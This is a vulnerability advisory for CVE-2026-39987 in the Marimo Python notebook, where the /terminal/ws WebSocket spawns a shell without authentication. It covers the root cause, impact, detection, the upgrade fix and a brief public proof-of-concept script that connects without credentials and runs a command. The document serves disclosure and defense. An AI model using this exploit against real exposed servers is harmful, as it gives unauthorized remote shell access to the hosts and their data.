Marimo Unauthenticated Terminal WebSocket RCE
- Product
- marimo marimo
- CVE
- CVE-2026-39987
- Disclosed
- 2026-04-08
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- marimo < 0.23.0
- Fixed
- 0.23.0
Summary
Marimo, a reactive Python notebook popular in data science, exposed a built-in terminal over a WebSocket that skipped authentication entirely. Connecting to it gave an interactive shell. It was exploited in the wild and added to CISA KEV in April 2026.
Root cause
The /terminal/ws WebSocket endpoint only checked the running mode and platform support before spawning a PTY, never calling validate_auth() as the other WebSocket endpoints did. Any client that could reach the server got a full shell as the marimo process.
Impact
Unauthenticated remote command execution on the notebook host and access to its data and credentials.
Public PoC
import websocket
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws') # no credentials
ws.send('id\n')
print(ws.recv())Source: GHSA-2679-6mx9-h9xc
Detection
Look for WebSocket upgrades to /terminal/ws from unexpected sources (default port 2718); version check < 0.23.0.
Mitigation
Upgrade to 0.23.0+ and avoid binding marimo to public interfaces.